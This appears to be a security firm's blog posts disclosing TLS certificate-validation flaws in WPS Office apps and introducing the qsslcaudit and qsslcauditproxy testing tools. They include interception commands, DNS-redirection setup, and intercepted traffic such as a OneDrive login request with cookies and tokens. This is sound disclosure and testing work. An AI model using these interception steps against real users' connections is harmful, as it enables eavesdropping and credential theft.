We noted that if we redirect DTLS handshake into nowhere, the call establishes successfully and both parties can talk. The captured traffic reveals that SRTP data is transmitted using a TURN channel. This traffic goes between the mobile application and remote TURN server. To decode it with Wireshark we followed this advice.

You can see the result in the following illustration:

We tried to identify how (_if_) DTLS handshake is now established. Apparently, the corresponding data is transmitted inside TURN channel in this case. You can see this in the following screenshot from Wireshark. The certificate presence is revealed by WebRTC common name string and expiration date 200418 encoded as a string:

This data exchange continues using TURN channel data messages:

Wire application is based on Wire signaling library in terms of media communications. This library uses Google's WebRTC reference implementation to handle the communications we observed.

WebRTC library implements a single module that handles DTLS handshake and fingerprint verification (p2p/base/dtlstransport.cc). The DTLS transport implementation does not depend on a particular communication channel and is fed with data by the rest of the library. This allows us to assume that the single DTLS validation test we performed earlier is enough to be sure that parties are properly verified in other cases too.

We also tried to figure out how signalling data is transmitted. WebRTC standard does not explicitly define how this should be implemented. According to src/econn/README.md file of the AVS Wire library source code, SDP data is sent as SETUP message via Backend. Backend in this case can be arbitrary communication channel. Mobile clients receive remote signalling via WebSockets protocol which transmits end-to-end encrypted messages. In upstream direction encrypted messages are sent as POST requests to prod-nginz-https.wire.com. WebSockets message example:

{

  "payload": [

    {

      "conversation": "fd2c8985-cb03-4a0c-9291-513a02355693",

      "time": "2020-03-19T14:22:01.638Z",

      "data": {

        "text": "owABAaEAWCAFs5h5Cft0kXBPKdIWvtlIbuNUuU7vNLeO23zzAGM7ngJZDMYBp ... nNab4HfDHOZZVDNXDu+ymAmpsuKSW7Q=",

        "sender": "cbc19847050b5b9d",

        "recipient": "141e979399699446"

      },

      "from": "4707e7e4-25a4-4afe-ad4d-13eb565b7fab",

      "type": "conversation.otr-message-add"

    }

  ],

  "transient": false,

  "id": "0000aaa8-69ed-11ea-8075-22000a23ecad"

}

According to src/peerflow/peerflow.cpp source of AVS Wire library, some messages use WebRTC data channel. Data channel interface is defined in WebRTC's api/datachannelinterface.{hh,cc}. It is encapsulated in SCTP protocol which goes inside DTLS channel and which is transmitted over STUN/TURN messages.

Conclusion

Working with Wire allowed us to observe some WebRTC internals. Compared to Twilio platform, Wire uses vanilla WebRTC approach to establish peer-to-peer multimedia communications. Due to its open source nature we were able to check our observations against the implementation.

Overall security of media data transmitted by Wire mobile application follows WebRTC guidelines:

RTP media data is secured as SRTP.
Keys for SRTP are derived by DTLS handshake.
DTLS handshake fails if peer fingerprint does not match the announced one.
Peer fingerprint is transmitted as end-to-end encrypted data inside WebSocket, secured with TLS.
Critical TLS servers certificates are properly validated by Android client.

In order to intercept Wire media traffic the same tools and firewall configuration is needed as with Twilio case. Additionally, we wrote a STUN sniffer tool stunpeersniff which is required to determine peers on the fly and configure DTLS-SRTP proxy accordingly.

pavel Thu, 03/26/2020 - 17:32

Introducing Qsslcauditproxy

sean — Wed, 18 Mar 2020 10:14:50 +0000

Introducing Qsslcauditproxy

The Qsslcaudit tool developed by my colleague Pavel provides an easy way for testing a client SSL implementation. To make testing of multiple connections even more straightforward, I created a proxy wrapper for this tool.

How it works

The user configures qsslcauditproxy as a proxy server on the device under test, for example a mobile device.

The script will then act as a non-intercepting proxy for all SSL traffic. For each new host it will redirect the SSL stream to an instance of qsslcaudit, so that the client connection can be tested. HTTP connections will just be forwarded to the intended host.

Once connection establishment to a specific host has been fully tested, the SSL traffic is sent to the intended target. This will make the affected functionality operational again and user can proceed with testing further flows.

The tool uses curses to provide dynamic output. This gives a nice overview of the different connections test status. It is also really convenient for a tester to see which actions in the app trigger an outgoing connection.

Practical example against WPS Office for iOS

As a practical example, we tested this against the latest version of WPS Office for iOS (10.6.0). Pavel has demonstrated issues with the Android app in his blog post Client-side TLS implementation assessment with qsslcaudit - The WPS Office case.

We will use qsslcauditproxy to easily test connections to multiple hosts consumed by this application.

We first configured our proxy on the iOS device. We then fired up qsslcauditproxy with the following command:

#python3 qsslcauditproxy.py --blacklist blacklist --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs

We then opened the WPS Office application on our device and interacted with all functionality. We could track the qsslcaudit test progress via the output of the proxy script. We configured a blacklist file so that connections related to the OS were not tested.

After testing all connections, we stopped the script and looked at the results. The results for each host are stored in a .txt file with the output.

root@kali:~/# grep mitm *.txt                                                                                                        
logincdn.msauth.net.txt:|  1 | custom certificate trust           | FAILED !!! | mitm possible               |       
login.live.com.txt:|  1 | custom certificate trust           | FAILED !!! | mitm possible

A quick check shows that no certificate validation is done for the following hosts:

login.live.com
logincdn.msauth.net

These hosts are used as part of the “Cloud - Onedrive” functionality that allows users to login to Onedrive with Microsoft credentials.

The following is detailed output that was logged by the qsslcaudit instance, which shows data intercepted when connecting to login.live.com.

running test #1: certificate trust test with user-supplied certificate
listening on 0.0.0.0:8450
connection from: 127.0.0.1:51674
SSL connection established
received data: GET /oauth20_authorize.srf?client_id=00000000480F074F&scope=onedrive.readwrite&redirect_uri=https://login.live.com/oauth20_desktop.srf&display=ios_phone&response_type=code HTTP/1.1
Host: login.live.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us
Connection: keep-alive
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148

This is the start of the oAuth flow as described here.

We used Burp to intercept the entire flow which confirmed that the Onedrive credentials were submitted via this connection.

POST /ppsecure/post.srf?client_id=00000000480F074F&scope=onedrive.readwrite&redirect_uri=https://login.live.com/oauth20_desktop.srf&display=ios_phone&response_type=code&contextid=0839C321FF5E086E&bk=1583930585&uaid=f0782fda2305430caf156cff32d1ac02&pid=15216 HTTP/1.1
Host: login.live.com
Content-Type: application/x-www-form-urlencoded
Origin: https://login.live.com
Cookie: wlidperf=FR=L&ST=1583930727671; MSPOK=$uuid-3f374112-2fea-44b5-8dd8-7623df786237$uuid-d2e2f676-f140-493b-9763-d11d614f01aa$uuid-74502d48-33c1-4275-889d-26f825eef438; MSPRequ=id=N&lt=1583930585&co=1; OParams=11DfEKBqYgtbToYPr0tnbgt7fweLsQdPDnkF1KoVqQoYc9k6kTLygsyzNKZy03nyf9Kx1Ojsz2g9qJJ2pzrCPtsDRBrnxDudaNBH60iHu2Nz1FnSJ49DMuB4Ezc5PYQRXRepOQrSDL3NY9waoW1pZ7jB8EUukccWfRtymVHWzyTX1AZEsmkGYhZyULeunhWFkVXbX5wOlGgOaYj3aXusG*5whMz8BtXzaRE8kGBmKlO6kB7fonvzgeiiSoeNV7*9thlY*3FzrIBXW7S4Wux2BvTCTe9D9u3HuDT9SXehTeCNy34ChJxOnMNQQGRB55THqcv6kH5!CDf*ctnq8xUDsHcf9RtkcviDPUnaF8zy7z1Navq1GKdj!qx9YMWg4lb65XP3vupej0VMww1vf1S5SVPts2Cql*xcrk7TBhuOuNt3SAMaoI0BKMD3UmXtjqmayhMw$$; uaid=f0782fda2305430caf156cff32d1ac02
Content-Length: 615
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148
Referer: https://login.live.com/oauth20_authorize.srf?client_id=00000000480F074F&scope=onedrive.readwrite&redirect_uri=https://login.live.com/oauth20_desktop.srf&display=ios_phone&response_type=code
Accept-Language: en-us
Accept-Encoding: gzip, deflate

i13=1&login=[redacted]%40outlook.com&loginfmt=[redacted]%40outlook.com&type=11&LoginOptions=1&lrt=&lrtPartition=&hisRegion=&hisScaleUnit=&passwd=[redactedpass]&ps=2&psRNGCDefaultType=&psRNGCEntropy=&psRNGCSLK=&canary=&ctx=&hpgrequestid=&PPFT=DdQTIiJG*70c9R9*2Hm*GQXec8sRDjZFMvkaLdBf0J2ByJryOaNpaXn1P91VApsv1DbvPgzgqVg%21YGFnLX*Y4vY7nmUCWTuLPJgI3K8vi5kLAYP3IDjI9iAi1%21oWFrk40tvtatKPP4*%21i0L7ev81nCsQZst4a0tvPf7h%21qB1m042mUgXsc7bGeLWeVe0cb4nZPKf*K32z5J87Yx2Wqw8TLw%24&PPSX=P&NewUser=1&FoundMSAs=&fspost=0&i21=0&CookieDisclosure=0&IsFidoSupported=0&isSignupPost=0&i2=39&i17=0&i18=&i19=122883

During testing we noted that this bug was not 100% reproducible, in some cases proper certificate validation was done for connections to this host. If you want to try to reproduce these results, you may have to launch the test a second time.

Timeline:

11 March 2020: Reported to KingSoft via wps_security@kingsoft.com
11 March 2020: Received email reply with invite to private Hackerone program
11 March 2020: The private Hackerone program states the following “Kingsoft Office is taking a break and is not accepting new submissions.”
18 March 2020: Public disclosure via this blog post

Disclaimer

Users of Qsslcauditproxy should be aware that not all client applications will honor the proxy configuration of the OS. We recommend to always perform traffic analysis when testing client applications to get an overview of all outgoing connections.

Qsslcauditproxy is available for download at https://github.com/gremwell/qsslcauditproxy. It requires qsslcaudit (https://github.com/gremwell/qsslcaudit).

sean Wed, 03/18/2020 - 11:14

Client-side TLS implementation assessment with qsslcaudit - The WPS Office case

pavel — Fri, 28 Feb 2020 15:24:51 +0000

Client-side TLS implementation assessment with qsslcaudit - The WPS Office case

Preface

In this post we demonstrate how to use our tool to assess client-side TLS implementation: qsslcaudit. qsslcaudit helps determine if a TLS client (mobile application, standalone application, web service) properly validates server's certificate and if only secure protocols are supported. Issues in TLS implementation can be abused by attackers to intercept victim's traffic: extract sensitive information, alter client's requests or server's responses and so on.

Basic information on how to use the tool can be found in its README file. However, we believe that the best demo is real-world test scenario against existing and widely used application. For this demo, we chose to target KingSoft WPS Office Android mobile application.

The issues described here are still not fixed at the time of this writing. We reported them to KingSoft via HackerOne, issues were confirmed but not fixed. Then we reported them to Google, got a reply that this is a known problem as it was reported earlier. Given that Kingsoft developers are aware of it but chose not to fix it, and that Google and some bug bounty hunters also know about this issue, we decided to report it publicly. At least WPS Office users (**over 1.3 billion users** per Google Play Store estimates) will be aware of the risks of using it.

Timeline:

27 September 2019. Reported to KingSoft via HackerOne.
30 September 2019. KingSoft triaged the issue with comment: Confirmed to be fixed. SSL implementation.
22 December 2019. Added reminder that the issues are still not fixed.
27 January 2020. Reported to Google via HackerOne Google Play Security Reward Program.
28 January 2020. Google replied that the report is being reviewed.
3 February 2020. Google closed the report as duplicate.

Testing for client-side TLS implementation flaws

Here we describe the approach we follow when testing mobile applications regarding security of the connections they make to upstream servers.

Setup

We installed WPS Office application from the Play Store. The application version was 12.3.5: [geshifilter-]adb shell dumpsys package cn.wps.moffice_eng | grep -B1 versionName versionCode=352 targetSdk=28 versionName=12.3.5[/geshifilter-]

Traffic analysis

We configure our test laptop as WiFi access point for the mobile device running the application. We start capturing the traffic on wireless interface, launch the application and use all available features.

The idea of this exercise is to determine when the application establishes unencrypted connections or emits unusual type of traffic. If unencrypted communications have been found we investigate them separately. This is not discussed in this post.

WPS Office is quite talkative and establishes a large number of connections to various servers. We did not identify non-standard protocols, however, there were plenty of clear-text HTTP connections observed. For instance, the one that sends information about the device and application version:

This is a separate issue to investigate, the objective here is to practice our client-side TLS implementation assessment skills. Let's write down the list of HTTPS servers the application connects to:

dw-online.ksosoft.com
shuc-android.ksord.com
plugin-server.wps.com
movip.wps.com
graph.facebook.com
service-api.kingsoft-office-service.com
cloudservice14.kingsoft-office-service.com
store.wps.com
abroad-ad.kingsoft-office-service.com
firstpage.kingsoft-office-service.com
api-ad-adapter.wps.com
activity.wps.com
shuc-js.ksord.com
web.mo.wpscdn.cn
drive.wps.com
account.wps.com
androidweb.wps.com

As can be seen there are a plenty of hosts in this list and it's not even complete. So in order to keep this blog post short and readable, we will only assess a subset of the application's functionality.

On fresh start WPS Office application displays the privacy policy agreement screen with the only option to agree with it. Once you agreed, the next screen allows you to "Start WPS Office" or "Login in WPS Office" (if you slide right). Login function is interesting. If you select it the application displays various ways of logging in, along with a "Sign up" link. Clicking "Sign up" opens a screen which allows you to create an account in "WPS Services".

Let's focus on the account creation flow.

Client-side TLS implementation

In order to perform the assessment of client-side TLS implementation we need to redirect connections made by the client towards our software. This can be done in several ways which are higly dependent on your setup.

This time we chose to alter the DNS responses. The reason is that the target systems have several alternating IP addresses which could change. By altering the DNS response we can be sure that the application will connect to our listener.

We used create_ap to setup a WiFi access point. Its command line option -d tells DNS server (dnsmasq) to take into account /etc/hosts file. Thus, we can simply add the entries we want into /etc/hosts. For instance, if we want to catch connections made towards dw-online.ksosoft.com we add the following entry:

192.168.12.1 dw-online.ksosoft.com

Where `192.168.12.1` is the default IP address assigned to our wireless interface by `create_ap`.

We then launch qsslcaudit with proper set of options:

sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn dw-online.ksosoft.com

Let's explain each parameter used:

-l 0.0.0.0 listen on all interfaces as the connections come from the outside (we can specify the IP of wireless interface here as well).
-p 443 listen on 443 port as we used /etc/hosts approach and the connection will be made to the original TCP port. This also requires to run qsslcaudit with superuser privileges.
--user-cert subdomain.gremwell.com+chain.pem --user-key subdomain.gremwell.com.key the certificate here is the perfectly valid certificate issued by a trusted certificate authority to subdomain.gremwell.com hostname. In one of the tests the tool will present this certificate. Despite the fact that the certificate is valid the client has to refuse to connect to it as it is issued to another common name. Without providing such certificate the tool will just omit the corresponding test and will present self-signed certificates only.
--user-cn dw-online.ksosoft.com the tool will issue self-signed certificates for "dw-online.ksosoft.com" common name. This way we can test if the client trusts any certificate with a valid common name.
--selected-tests certs limit to certificate validation tests only. We skip protocols support test just to keep our post short.

A bit more on qsslcaudit usage. Remember that we are testing client-side implementation, each separate test requires a new connection made by the client. Thus, we need to trigger such connections ourselves explicitly by pressing buttons/clicking links or just waiting for the client to retry connection.

We are almost ready to launch the test. In this case there is another caveat: the application uses HTTP service of dw-online.ksosoft.com too. We are not really interested for now in the traffic interception and investigation, but in order to keep the application logic fine, we have to properly handle this connection. The easiest way is to use socat to forward traffic received on port TCP/80 to the legitimate server, like this:

sudo socat TCP4-LISTEN:80,fork,reuseaddr TCP4:18.185.165.181:80

dw-online.ksosoft.com

qsslcaudit produced the following output:

sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn dw-online.ksosoft.com

preparing selected tests...

        skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate

        skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate

        CVE-2020-0601: no CA certificate provided

        skipping test: test for trusting certificate signed by private key with custom curve

SSL library used: OpenSSL 1.0.2u  20 Dec 2019

running test #1: certificate trust test with user-supplied certificate

listening on 0.0.0.0:443

connection from: 192.168.12.118:33468

SSL connection established

received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: dw-online.ksosoft.com

Content-Type: application/json

Content-Length: 161

{"appVersion":"12.3.5","channel":"en00001","abTestVersion":0,"sendUrlVersion":0,"transportControlVersion":0,"eventsVersion":0,"abTestName":"","abTestGroupId":""}

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

running test #2: certificate trust test with self-signed certificate for user-supplied common name

listening on 0.0.0.0:443

connection from: 192.168.12.118:53873

SSL connection established

received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: dw-online.ksosoft.com

Content-Type: application/json

Content-Length: 161

{"appVersion":"12.3.5","channel":"en00001","abTestVersion":0,"sendUrlVersion":0,"transportControlVersion":0,"eventsVersion":0,"abTestName":"","abTestGroupId":""}

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

running test #3: certificate trust test with self-signed certificate for www.example.com

listening on 0.0.0.0:443

connection from: 192.168.12.118:52806

SSL connection established

received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: dw-online.ksosoft.com

Content-Type: application/json

Content-Length: 161

{"appVersion":"12.3.5","channel":"en00001","abTestVersion":0,"sendUrlVersion":0,"transportControlVersion":0,"eventsVersion":0,"abTestName":"","abTestGroupId":""}

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

running test #4: certificate trust test with user-supplied common name signed by user-supplied certificate

listening on 0.0.0.0:443

connection from: 192.168.12.118:36898

SSL connection established

received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: dw-online.ksosoft.com

Content-Type: application/json

Content-Length: 161

{"appVersion":"12.3.5","channel":"en00001","abTestVersion":0,"sendUrlVersion":0,"transportControlVersion":0,"eventsVersion":0,"abTestName":"","abTestGroupId":""}

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

running test #5: certificate trust test with www.example.com common name signed by user-supplied certificate

listening on 0.0.0.0:443

connection from: 192.168.12.118:48969

SSL connection established

received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: dw-online.ksosoft.com

Content-Type: application/json

Content-Length: 161

{"appVersion":"12.3.5","channel":"en00001","abTestVersion":0,"sendUrlVersion":0,"transportControlVersion":0,"eventsVersion":0,"abTestName":"","abTestGroupId":""}

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

tests results summary table:

+----|------------------------------------|------------|-----------------------------+

| ## |             Test Name              |   Result   |           Comment           | 

+----|------------------------------------|------------|-----------------------------+

|  1 | custom certificate trust           | FAILED !!! | mitm possible               | 

|  2 | self-signed certificate for target | FAILED !!! | -//-                        |

|    |  domain trust                      |            |                             |

|  3 | self-signed certificate for invali | FAILED !!! | -//-                        |

|    | d domain trust                     |            |                             |

|  4 | custom certificate for target doma | FAILED !!! | -//-                        |

|    | in trust                           |            |                             |

|  5 | custom certificate for invalid dom | FAILED !!! | -//-                        |

|    | ain trust                          |            |                             |

+----|------------------------------------|------------|-----------------------------+

most likely all connections were established by the same client

the first connection details:

source host: 192.168.12.118

dtls?: false

ssl errors:

ssl conn established?: true

intercepted data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: dw-online.ksosoft.com

Content-Type: application/json

Content-Length: 161

{"appVersion":"12.3.5","channel":"en00001","abTestVersion":0,"sendUrlVersion":0,"transportControlVersion":0,"eventsVersion":0,"abTestName":"","abTestGroupId":""}

received data, bytes: 854

transmitted data, bytes: 5567

protocol: TLSv1.2

accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_DHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:TLS_ECDHE_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_EMPTY_RENEGOTIATION_INFO_SCSV

ALPN: http/1.1

qsslcaudit version: 0.8.1

You can already see from this output that we spotted an issue. But let's explain this output.

At first after launch the tool prepares all the selected tests. It feeds each test with user-supplied parameters and the test decides if it has all necessary data to be launched. For those tests that can not be run with the provided settings the tool prints the corresponding message:

preparing selected tests...

        skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate

        skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate

        CVE-2020-0601: no CA certificate provided

        skipping test: test for trusting certificate signed by private key with custom curve

Then it prints the OpenSSL library version used. It is important to verify it if some tests are unable to launch. This should be "1.0.2" version, like this one:

SSL library used: OpenSSL 1.0.2u  20 Dec 2019

After that the tool executes each test one by one. For each test a TLS listener is launched on the provided socket. The listener is configured with settings and certificates according to the current test. When the client connects to the listener and the TLS handshake is completed, the test is considered as done and the following output is printed:

Running test #1: certificate trust test with user-supplied certificate

listening on 0.0.0.0:443

connection from: 192.168.12.118:33468

SSL connection established

received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: dw-online.ksosoft.com

Content-Type: application/json

Content-Length: 161

{"appVersion":"12.3.5","channel":"en00001","abTestVersion":0,"sendUrlVersion":0,"transportControlVersion":0,"eventsVersion":0,"abTestName":"","abTestGroupId":""}

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

In this case the client connected from 192.168.12.118 IP, agreed to establish the TLS connection and sent some data (HTTP POST request). The tool remembers the results and runs the next test.

Once all tests are completed the tool outputs a summary table like the one shown above. In fact, it is coloured, so one can easily identify if something was spotted:

Then the tool attempts to compare all incoming connections and decide if they were made by the same TLS client. This becomes useful if it is not possible to isolate network and some unexpected connections can be received. Lastly qsslcaudit prints a fingerprint of the first connection (and others, if they are different). Such fingerprint can be used to double-check that the expected client was caught. The most useful field in this case is server name indication (SNI). However, WPS Office did not use such:

most likely all connections were established by the same client

the first connection details:

source host: 192.168.12.118

dtls?: false

ssl errors: 

ssl conn established?: true

intercepted data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: dw-online.ksosoft.com

Content-Type: application/json

Content-Length: 161

{"appVersion":"12.3.5","channel":"en00001","abTestVersion":0,"sendUrlVersion":0,"transportControlVersion":0,"eventsVersion":0,"abTestName":"","abTestGroupId":""}

received data, bytes: 854

transmitted data, bytes: 5567

protocol: TLSv1.2

accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_DHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:TLS_ECDHE_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_EMPTY_RENEGOTIATION_INFO_SCSV

ALPN: http/1.1

From the obtained output we can conclude that WPS Office application does not properly verify TLS certificate when connecting to https://dw-online.ksosoft.com/. This is certainly a finding as suitably positioned attacker can intercept the connection, steal and alter data in transit. However, its severity depends on what type of traffic is transmitted and how the responses are interpreted by the application. During an assessment this has to be evaluated, but right now we are just demonstrating how to use qsslcaudit.

shuc-android.ksord.com

qsslcaudit produced the following output:

$ sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn shuc-android.ksord.com

preparing selected tests...

        skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate

        skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate

        CVE-2020-0601: no CA certificate provided

        skipping test: test for trusting certificate signed by private key with custom curve

SSL library used: OpenSSL 1.0.2u  20 Dec 2019

...skipping for brevity...

tests results summary table:

+----|------------------------------------|------------|-----------------------------+

| ## |             Test Name              |   Result   |           Comment           | 

+----|------------------------------------|------------|-----------------------------+

|  1 | custom certificate trust           | FAILED !!! | mitm possible               | 

|  2 | self-signed certificate for target | FAILED !!! | -//-                        | 

|    |  domain trust                      |            |                             | 

|  3 | self-signed certificate for invali | FAILED !!! | -//-                        | 

|    | d domain trust                     |            |                             | 

|  4 | custom certificate for target doma | FAILED !!! | -//-                        | 

|    | in trust                           |            |                             | 

|  5 | custom certificate for invalid dom | FAILED !!! | -//-                        | 

|    | ain trust                          |            |                             | 

+----|------------------------------------|------------|-----------------------------+

most likely all connections were established by the same client

the first connection details:

source host: 192.168.12.118

dtls?: false

ssl errors: 

ssl conn established?: true

intercepted data: POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

accept: */*

connection: Keep-Alive

Accept-Encoding: gzip

Charset: UTF-8

User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36

Host: shuc-android.ksord.com

Content-Length: 3500

eyJfcCI6 ...skipping for brevity...

received data, bytes: 4172

transmitted data, bytes: 5567

protocol: TLSv1.2

accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_DHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:TLS_ECDHE_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_EMPTY_RENEGOTIATION_INFO_SCSV

ALPN: http/1.1

qsslcaudit version: 0.8.1

As can be seen, again, the certificates were not validated. The data posted contained even more information about the device used.

plugin-server.wps.com

qsslcaudit produced the following output:

$ sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn plugin-server.wps.com

preparing selected tests...

        skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate

        skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate

        CVE-2020-0601: no CA certificate provided

        skipping test: test for trusting certificate signed by private key with custom curve

SSL library used: OpenSSL 1.0.2u  20 Dec 2019

running test #1: certificate trust test with user-supplied certificate

listening on 0.0.0.0:443

connection from: 192.168.12.118:45530

SSL connection established

socket error: The TLS/SSL connection has been closed (#1)

socket error: The remote host closed the connection (#1)

no unencrypted data received (The remote host closed the connection)

disconnected

report:

HTTPS client did not accept fake certificate without explicit error message

test finished

